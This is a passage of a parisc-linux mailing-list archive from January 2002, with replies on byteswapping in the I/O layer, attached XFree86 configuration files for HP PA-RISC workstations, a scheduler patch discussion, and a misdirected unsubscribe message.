	HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: Jochen Friedrich <jochen@scram.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 19 05:22:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mf1.bredband.net (mf1.lab.bredband.com [195.54.122.119])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0F835482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 Jan 2002 05:22:11 -0700 (MST)
Original-Received: from zaphod.halden.lillfab.se ([213.112.197.114])
          by mf1.bredband.net with ESMTP
          id <20020119122031.NAJP21707.mf1@zaphod.halden.lillfab.se>;
          Sat, 19 Jan 2002 13:20:31 +0100
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id NAA26128;
	Sat, 19 Jan 2002 13:20:50 +0100
In-Reply-To: <Pine.LNX.4.43.0201162119070.16072-100000@alpha.bocc.de>; from jochen@scram.de on Wed, Jan 16, 2002 at 21:20:12 +0100
X-Mailer: Balsa 1.1.4
Original-Lines: 14
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13789

On 2002.01.16 21:20 Jochen Friedrich wrote:
> Hi Daniel,
> 
> > I think the driver was correct. The i/o layer should not try to byteswap
> > the io requests, because it can not second-guess what the driver is doing.
> 
> I guess the 68000 code is the reference here as it was the first BE port, 
> and they do the byteswap, as well.

Do the 68000 port support ISA and PCI buses?

/Daniel
-- 



From - Thu Nov 08 21:21:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Xfree86 PA-RISC Linux Issue
Date: Sat, 19 Jan 2002 14:12:22 +0000
Lines: 639
Approved: news@gmane.org
Message-ID: <3C497EC6.D5FC6BFB@freebel.net>
References: <2F1E6AB90ECAD311943700A0C9E3B15407715C26@xatl03.atl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------BBAB5A7FC2F6F19F54059669"
X-Trace: ger.gmane.org 1416620983 1312 80.91.229.3 (22 Nov 2014 01:49:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "FAUCHER,DENNIS (HP-USA,ex1)" <dennis_faucher@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 19 07:02:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolm2.tiscalinet.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5CF10482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 Jan 2002 07:02:09 -0700 (MST)
Original-Received: from ppp-151-42-231.tiscalinet.be ([213.151.42.232] helo=freebel.net)
	by spoolm2.tiscalinet.be with esmtp (Tiscalinet) 
	id 16Rw45-0000r6-00; Sat, 19 Jan 2002 15:01:50 +0100
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.16-evms-0.2.4-lvm-1.0.1 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13790

This is a multi-part message in MIME format.
--------------BBAB5A7FC2F6F19F54059669
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello Denis,


"FAUCHER,DENNIS (HP-USA,ex1)" wrote:
> 
> Joel,
> 
> Did you ever solve your XFree86 start-up problem that you stated in:
> 
> http://lists.parisc-linux.org/hypermail/parisc-linux/6447.html
> 

Yes, the solution was to avoid the feature of switching resolution (see
attached XF86Config files).

Please note that:

a. you have so to choose a resolution matching your default definition
(see boot console CO[nfiguration] MO[nitor] would display you the actual
monitor set up, I have no 715 to check if the command is the same but
should not be difficult to find)

b. be sure that your mouse pointer device (here /dev/psaux) is not a
pointer
to /dev/gpmdata (in fact that should not happen with psaux but well with
mouse)

> I just installed 0.9.3 on an HP 715/100 workstation and have the same
> problem.  Thank you for your help.

I have no 715 to test but it works for my 712 & b180 (also for some
other J210) also I hope it will also help you.

Good luck,
	Joel

PS1: I also attached XF86Config-4 (not mandatory but an apt-get
dist-upgrade created a bad one for me so I corrected it), if never you
also need it.

PS2: Just FYI, you could also find additional information on Debian
mailing list
http://lists.debian.org/debian-hppa/2002/debian-hppa-200201/threads.html
--------------BBAB5A7FC2F6F19F54059669
Content-Type: text/plain; charset=us-ascii;
 name="XF86Config"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="XF86Config"


# File generated by xf86config.

#
# Copyright (c) 1999 by The XFree86 Project, Inc.
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following conditions:
# 
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# 
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL
# THE XFREE86 PROJECT BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF
# OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
# 
# Except as contained in this notice, the name of the XFree86 Project shall
# not be used in advertising or otherwise to promote the sale, use or other
# dealings in this Software without prior written authorization from the
# XFree86 Project.
#

# **********************************************************************
# Refer to the XF86Config(4/5) man page for details about the format of 
# this file.
# **********************************************************************

# **********************************************************************
# Module section -- this  section  is used to specify
# which dynamically loadable modules to load.
# **********************************************************************
#
Section "Module"

# This loads the DBE extension module.

    Load        "dbe"  	# Double buffer extension

# This loads the miscellaneous extensions module, and disables
# initialisation of the XFree86-DGA extension within that module.
    SubSection  "extmod"
      Option    "omit xfree86-dga"   # don't initialise the DGA extension
    EndSubSection

# This loads the Type1 and FreeType font modules
    Load        "type1"
    Load        "freetype"

# This loads the GLX module
#    Load       "glx"

EndSection

# **********************************************************************
# Files section.  This allows default font and rgb paths to be set
# **********************************************************************

Section "Files"

# The location of the RGB database.  Note, this is the name of the
# file minus the extension (like ".txt" or ".db").  There is normally
# no need to change the default.

    RgbPath	"/usr/X11R6/lib/X11/rgb"

# Multiple FontPath entries are allowed (which are concatenated together),
# as well as specifying multiple comma-separated entries in one FontPath
# command (or a combination of both methods)
# 
# If you don't have a floating point coprocessor and emacs, Mosaic or other
# programs take long to start up, try moving the Type1 and Speedo directory
# to the end of this list (or comment them out).
# 

#    FontPath   "/usr/X11R6/lib/X11/fonts/local/"
    FontPath   "/usr/X11R6/lib/X11/fonts/misc/"
    FontPath   "/usr/X11R6/lib/X11/fonts/75dpi/:unscaled"
    FontPath   "/usr/X11R6/lib/X11/fonts/100dpi/:unscaled"
    FontPath   "/usr/X11R6/lib/X11/fonts/Type1/"
    FontPath   "/usr/X11R6/lib/X11/fonts/Speedo/"
    FontPath   "/usr/X11R6/lib/X11/fonts/75dpi/"
    FontPath   "/usr/X11R6/lib/X11/fonts/100dpi/"

# The module search path.  The default path is shown here.

#    ModulePath "/usr/X11R6/lib/modules"

EndSection

# **********************************************************************
# Server flags section.
# **********************************************************************

Section "ServerFlags"

# Uncomment this to cause a core dump at the spot where a signal is 
# received.  This may leave the console in an unusable state, but may
# provide a better stack trace in the core dump to aid in debugging

#    Option "NoTrapSignals"

# Uncomment this to disable the <Crtl><Alt><BS> server abort sequence
# This allows clients to receive this key event.

#    Option "DontZap"

# Uncomment this to disable the <Crtl><Alt><KP_+>/<KP_-> mode switching
# sequences.  This allows clients to receive these key events.

#    Option "Dont Zoom"

# Uncomment this to disable tuning with the xvidtune client. With
# it the client can still run and fetch card and monitor attributes,
# but it will not be allowed to change them. If it tries it will
# receive a protocol error.

#    Option "DisableVidModeExtension"

# Uncomment this to enable the use of a non-local xvidtune client. 

#    Option "AllowNonLocalXvidtune"

# Uncomment this to disable dynamically modifying the input device
# (mouse and keyboard) settings. 

#    Option "DisableModInDev"

# Uncomment this to enable the use of a non-local client to
# change the keyboard or mouse settings (currently only xset).

#    Option "AllowNonLocalModInDev"

EndSection

# **********************************************************************
# Input devices
# **********************************************************************

# **********************************************************************
# Core keyboard's InputDevice section
# **********************************************************************

Section "InputDevice"

    Identifier	"Keyboard1"
    Driver	"Keyboard"
# For most OSs the protocol can be omitted (it defaults to "Standard").
# When using XQUEUE (only for SVR3 and SVR4, but not Solaris),
# uncomment the following line.

#    Option     "Protocol"      "Xqueue"

    Option "AutoRepeat" "500 30"

# Specify which keyboard LEDs can be user-controlled (eg, with xset(1))
#    Option	"Xleds"      "1 2 3"

#    Option "LeftAlt"     "Meta"
#    Option "RightAlt"    "ModeShift"

# To customise the XKB settings to suit your keyboard, modify the
# lines below (which are the defaults).  For example, for a non-U.S.
# keyboard, you will probably want to use:
#    Option "XkbModel"    "pc102"
# If you have a US Microsoft Natural keyboard, you can use:
#    Option "XkbModel"    "microsoft"
#
# Then to change the language, change the Layout setting.
# For example, a german layout can be obtained with:
#    Option "XkbLayout"   "de"
# or:
#    Option "XkbLayout"   "de"
#    Option "XkbVariant"  "nodeadkeys"
#
# If you'd like to switch the positions of your capslock and
# control keys, use:
#    Option "XkbOptions"  "ctrl:swapcaps"

# These are the default XKB settings for XFree86
#    Option "XkbRules"    "xfree86"
#    Option "XkbModel"    "pc101"
#    Option "XkbLayout"   "us"
#    Option "XkbVariant"  ""
#    Option "XkbOptions"  ""

#    Option "XkbDisable"

    Option "XkbRules"	"xfree86"
    Option "XkbModel"	"pc101"
    Option "XkbLayout"	"us"
#    Option "XkbVariant"	"nodeadkeys"

EndSection


# **********************************************************************
# Core Pointer's InputDevice section
# **********************************************************************

Section "InputDevice"

# Identifier and driver

    Identifier	"Mouse1"
    Driver	"mouse"
    Option "Protocol"    "PS/2"
    Option "Device"      "/dev/mouse"

# When using XQUEUE, comment out the above two lines, and uncomment
# the following line.

#    Option "Protocol"	"Xqueue"

# Baudrate and SampleRate are only for some Logitech mice. In
# almost every case these lines should be omitted.

#    Option "BaudRate"	"9600"
#    Option "SampleRate"	"150"

# Emulate3Buttons is an option for 2-button Microsoft mice
# Emulate3Timeout is the timeout in milliseconds (default is 50ms)

    Option "Emulate3Buttons"
    Option "Emulate3Timeout"    "100"

# ChordMiddle is an option for some 3-button Logitech mice

#    Option "ChordMiddle"

EndSection


# **********************************************************************
# Other input device sections 
# this is optional and is required only if you
# are using extended input devices.  This is for example only.  Refer
# to the XF86Config man page for a description of the options.
# **********************************************************************
#
# Section "InputDevice" 
#    Identifier  "Mouse2"
#    Driver      "mouse"
#    Option      "Protocol"      "MouseMan"
#    Option      "Device"        "/dev/mouse2"
# EndSection
#
# Section "InputDevice"
#    Identifier "spaceball"
#    Driver     "magellan"
#    Option     "Device"        "/dev/cua0"
# EndSection
#
# Section "InputDevice"
#    Identifier "spaceball2"
#    Driver     "spaceorb"
#    Option     "Device"        "/dev/cua0"
# EndSection
#
# Section "InputDevice"
#    Identifier "touchscreen0"
#    Driver     "microtouch"
#    Option     "Device"        "/dev/ttyS0"
#    Option     "MinX"          "1412"
#    Option     "MaxX"          "15184"
#    Option     "MinY"          "15372"
#    Option     "MaxY"          "1230"
#    Option     "ScreenNumber"  "0"
#    Option     "ReportingMode" "Scaled"
#    Option     "ButtonNumber"  "1"
#    Option     "SendCoreEvents"
# EndSection
#
# Section "InputDevice"
#    Identifier "touchscreen1"
#    Driver     "elo2300"
#    Option     "Device"        "/dev/ttyS0"
#    Option     "MinX"          "231"
#    Option     "MaxX"          "3868"
#    Option     "MinY"          "3858"
#    Option     "MaxY"          "272"
#    Option     "ScreenNumber"  "0"
#    Option     "ReportingMode" "Scaled"
#    Option     "ButtonThreshold"       "17"
#    Option     "ButtonNumber"  "1"
#    Option     "SendCoreEvents"
# EndSection

# **********************************************************************
# Monitor section
# **********************************************************************

# Any number of monitor sections may be present

Section "Monitor"

    Identifier  "lcd"

# HorizSync is in kHz unless units are specified.
# HorizSync may be a comma separated list of discrete values, or a
# comma separated list of ranges of values.
# NOTE: THE VALUES HERE ARE EXAMPLES ONLY.  REFER TO YOUR MONITOR'S
# USER MANUAL FOR THE CORRECT NUMBERS.

    HorizSync   31.5 - 48.5

#    HorizSync	30-64         # multisync
#    HorizSync	31.5, 35.2    # multiple fixed sync frequencies
#    HorizSync	15-25, 30-50  # multiple ranges of sync frequencies

# VertRefresh is in Hz unless units are specified.
# VertRefresh may be a comma separated list of discrete values, or a
# comma separated list of ranges of values.
# NOTE: THE VALUES HERE ARE EXAMPLES ONLY.  REFER TO YOUR MONITOR'S
# USER MANUAL FOR THE CORRECT NUMBERS.

    VertRefresh 50-100

EndSection


# **********************************************************************
# Graphics device section
# **********************************************************************

# Any number of graphics device sections may be present

# Standard VGA Device:

Section "Device"
    Identifier	"Standard VGA"
    VendorName	"Unknown"
    BoardName	"Unknown"

# The chipset line is optional in most cases.  It can be used to override
# the driver's chipset detection, and should not normally be specified.

#    Chipset	"generic"

# The Driver line must be present.  When using run-time loadable driver
# modules, this line instructs the server to load the specified driver
# module.  Even when not using loadable driver modules, this line
# indicates which driver should interpret the information in this section.

    Driver     "fbdev"
# The BusID line is used to specify which of possibly multiple devices
# this section is intended for.  When this line isn't present, a device
# section can only match up with the primary video device.  For PCI
# devices a line like the following could be used.  This line should not
# normally be included unless there is more than one video device
# intalled.

#    BusID      "PCI:0:10:0"

#    VideoRam	256

#    Clocks	25.2 28.3

EndSection

# Device configured by xf86config:

Section "Device"
    Identifier  "fbdev"
    Driver      "fbdev"
    #VideoRam    8192
    # Insert Clocks lines here if appropriate
EndSection


# **********************************************************************
# Screen sections
# **********************************************************************

# Any number of screen sections may be present.  Each describes
# the configuration of a single screen.  A single specific screen section
# may be specified from the X server command line with the "-screen"
# option.
Section "Screen"
    Identifier  "Screen 1"
    Device      "fbdev"
    Monitor     "lcd"
    DefaultDepth 8

    Subsection "Display"
        Depth       8
        Modes       "1280x1024" #"800x600" "640x480" "1024x768" 
        ViewPort    0 0
    EndSubsection
    Subsection "Display"
        Depth       16
        Modes       "640x480" "800x600" "1024x768" "1280x1024"
        ViewPort    0 0
    EndSubsection
    Subsection "Display"
        Depth       24
        Modes       "800x600" # "1024x768"
        ViewPort    0 0
    EndSubsection
EndSection

# **********************************************************************
# ServerLayout sections.
# **********************************************************************

# Any number of ServerLayout sections may be present.  Each describes
# the way multiple screens are organised.  A specific ServerLayout
# section may be specified from the X server command line with the
# "-layout" option.  In the absence of this, the first section is used.
# When now ServerLayout section is present, the first Screen section
# is used alone.

Section "ServerLayout"

# The Identifier line must be present
    Identifier  "Simple Layout"

# Each Screen line specifies a Screen section name, and optionally
# the relative position of other screens.  The four names after
# primary screen name are the screens to the top, bottom, left and right
# of the primary screen.  In this example, screen 2 is located to the
# right of screen 1.

    Screen "Screen 1"

# Each InputDevice line specifies an InputDevice section name and
# optionally some options to specify the way the device is to be
# used.  Those options include "CorePointer", "CoreKeyboard" and
# "SendCoreEvents".

    InputDevice "Mouse1" "CorePointer"
    InputDevice "Keyboard1" "CoreKeyboard"

EndSection


--------------BBAB5A7FC2F6F19F54059669
Content-Type: text/plain; charset=us-ascii;
 name="XF86Config-4"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="XF86Config-4"

### BEGIN DEBCONF SECTION
# XF86Config-4 (XFree86 server configuration file) generated by dexconf, the
# Debian X Configuration tool, using values from the debconf database.
#
# Edit this file with caution, and see the XF86Config manual page.
# (Type "man XF86Config" at the shell prompt.)
#
# If you want your changes to this file preserved by dexconf, only make changes
# before the "### BEGIN DEBCONF SECTION" line above, and/or after the
# "### END DEBCONF SECTION" line below.

Section "Files"
	RgbPath     "/usr/X11R6/lib/X11/rgb"
#	FontPath	"unix/:7100"			# local font server
	# if the local font server has problems, we can fall back on these
	FontPath	"/usr/lib/X11/fonts/misc"
	FontPath	"/usr/lib/X11/fonts/cyrillic"
	FontPath	"/usr/lib/X11/fonts/100dpi/:unscaled"
	FontPath	"/usr/lib/X11/fonts/75dpi/:unscaled"
	FontPath	"/usr/lib/X11/fonts/Type1"
	FontPath	"/usr/lib/X11/fonts/Speedo"
	FontPath	"/usr/lib/X11/fonts/100dpi"
	FontPath	"/usr/lib/X11/fonts/75dpi"
EndSection

Section "Module"
	Load	"GLcore"
	Load	"bitmap"
	Load	"dbe"
	Load	"ddc"
	Load	"dri"
	Load	"extmod"
	Load	"freetype"
	Load	"glx"
	Load	"int10"
	Load	"pex5"
	Load	"record"
	Load	"speedo"
	Load	"type1"
	Load	"vbe"
	Load	"xie"
EndSection

Section "InputDevice"
	Identifier	"Generic Keyboard"
	Driver		"keyboard"
	Option		"CoreKeyboard"
	Option		"XkbRules"	"xfree86"
	Option		"XkbModel"	"pc101"
	Option		"XkbLayout"	"us"
EndSection

Section "InputDevice"
	Identifier	"Configured Mouse"
	Driver		"mouse"
	Option		"CorePointer"
	Option		"Device"		"/dev/psaux"
	Option		"Protocol"		"PS/2"
	Option		"Emulate3Buttons"	"true"
	Option		"ZAxisMapping"		"4 5"
EndSection

#Section "InputDevice"
#	Identifier	"Generic Mouse"
#	Driver		"mouse"
#	Option		"SendCoreEvents"	"true"
#	Option		"Device"		"/dev/input/mice"
#	Option		"Protocol"		"ImPS/2"
#	Option		"Emulate3Buttons"	"true"
#	Option		"ZAxisMapping"		"4 5"
#EndSection

Section "Device"
	Identifier	"Generic Video Card"
	Driver		"fbdev"
	Option		"UseFBDev"		"true"
EndSection

Section "Monitor"
	Identifier	"Generic Monitor"
	HorizSync	30-70
	VertRefresh	50-160
#	Option		"DPMS"
EndSection

Section "Screen"
	Identifier	"Default Screen"
	Device		"Generic Video Card"
	Monitor		"Generic Monitor"
	DefaultDepth	8
	SubSection "Display"
		Depth		1
		Modes		"1280x1024"
	EndSubSection
	SubSection "Display"
		Depth		4
		Modes		"1280x1024"
	EndSubSection
	SubSection "Display"
		Depth		8
		Modes		"1280x1024"
	EndSubSection
	SubSection "Display"
		Depth		15
		Modes		"1280x1024"
	EndSubSection
	SubSection "Display"
		Depth		16
		Modes		"1280x1024"
	EndSubSection
	SubSection "Display"
		Depth		24
		Modes		"1280x1024"
	EndSubSection
EndSection

Section "ServerLayout"
	Identifier	"Default Layout"
	Screen		"Default Screen"
	InputDevice	"Generic Keyboard"
	InputDevice	"Configured Mouse"
#	InputDevice	"Generic Mouse"
EndSection

Section "DRI"
	Mode	0666
EndSection

### END DEBCONF SECTION

--------------BBAB5A7FC2F6F19F54059669--




From - Thu Nov 08 21:21:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: drequena@cscploenzke.de
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [linux-tr] Re: [parisc-linux] IBM TR patch
Date: Sat, 19 Jan 2002 15:39:52 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <OF491E61C9.59D265B0-ONC1256B46.005081AA@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620984 1314 80.91.229.3 (22 Nov 2014 01:49:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:44 +0000 (UTC)
Cc: linux-tr@linuxtr.net,
	HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: owner-linux-tr@linuxtr.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 19 07:44:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cscuxfw.cscploenzke.de (cscuxfw.cscploenzke.de [194.45.145.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 45E98482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 Jan 2002 07:44:00 -0700 (MST)
Original-Received: from [20.49.238.202] (helo=CSC-D-WIWE-FSNT)
	by cscuxfw.cscploenzke.de with esmtp (Exim 1.90 #3)
	id 16Rwin-00030Y-00; Sat, 19 Jan 2002 15:43:53 +0100
X-Mailer: Lotus Notes Release 5.0.4a  July 24, 2000
X-MIMETrack: Serialize by Router on DEU_KIE04/PLZ/CSC(Release 5.0.4a |July 24, 2000) at
 01/19/2002 03:36:59 PM
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13791

unsubscribe linux-tr
end

Saludos cordiales,
   David Requena
   Computer Sciences Corporation
   http://www.csc.com
   drequena@csc.com

**********************************************************************
This email and any files transmitted with it are confidential and
intended solely for the use of the individual or entity to whom they
are addressed. If you have received this email in error please notify
the sender at drequena@csc.com
**********************************************************************

Mensaje original:  owner-linux-tr, 16/01/2002 09:20:12 p.m.

> Hi Daniel,
>
> > I think the driver was correct. The i/o layer should not try to
byteswap
> > the io requests, because it can not second-guess what the driver is
doing.
>
> I guess the 68000 code is the reference here as it was the first BE port,
> and they do the byteswap, as well.
>
> --jochen
>




From - Thu Nov 08 21:21:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sched-O1-2.4.17-I3.patch, need help
Date: Sat, 19 Jan 2002 10:31:09 -0500
Lines: 38
Approved: news@gmane.org
Message-ID: <200201191531.g0JFV9201939@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620984 1317 80.91.229.3 (22 Nov 2014 01:49:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:44 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 19 08:32:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost.localdomain (unknown [64.109.89.110])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A118482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 Jan 2002 08:32:27 -0700 (MST)
Original-Received: from mulgrave (jejb@localhost)
	by localhost.localdomain (8.11.6/linuxconf) with ESMTP id g0JFV9201939;
	Sat, 19 Jan 2002 10:31:12 -0500
X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13792

> >         while (1) {
> >                 void (*idle)(void) = pm_idle;
> >                 if (!idle)
> >                         idle = default_idle;
> > -               while (!current->need_resched)
> > +               if (!current->need_resched)
> >                         idle();
> >                 schedule();
> >                 check_pgt_cache();
>
> Dunno.

This is sending the idle thread back through the scheduler at least once every 
clock tick.  On the x86, idle() halts the processor until it receives an 
interrupt.

I *think* the reason is the idle tick rebalances the run queue but doesn't 
schedule the first task for execution (if there is one), so the call to 
schedule() does that.

However, there are more changes than just this (I just did the changes for a 
different arch).  You need to change p->processor to p->cpu in the SMP code.  
There may be other struct task changes that bite, but that looks like the only 
one in parisc.

You also get bitten (in I3) by the physical to logical CPU mapping problems.  
These are gone in J0, but now you have to introduce and extra migrate_process 
cross processor interrupt.

Probably the best way to work on this is to start a 2.5 parisc tree...

Good luck.

James Bottomley





From - Thu Nov 08 21:21:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Schulte <pschulte@uni-duisburg.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Boot console problems
Date: Sat, 19 Jan 2002 19:33:43 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20020119193343.A876@nepomuk.max.uni-duisburg.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620984 1320 80.91.229.3 (22 Nov 2014 01:49:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 19 11:33:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maximilian.max.uni-duisburg.de (schem4145.uni-duisburg.de [134.91.69.2])
	by dsl2.external.hp.com (Postfix) with SMTP id 129C8482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 Jan 2002 11:33:42 -0700 (MST)
Original-Received: (qmail 25688 invoked from network); 19 Jan 2002 18:33:40 -0000
Original-Received: from nepomuk.max.uni-duisburg.de (134.91.242.42)
  by maximilian.max.uni-duisburg.de with SMTP; 19 Jan 2002 18:33:40 -0000
Original-Received: from phil by nepomuk.max.uni-duisburg.de with local (Exim 3.12 #1 (Debian))
	id 16S0JD-0000EV-00
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 Jan 2002 19:33:43 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
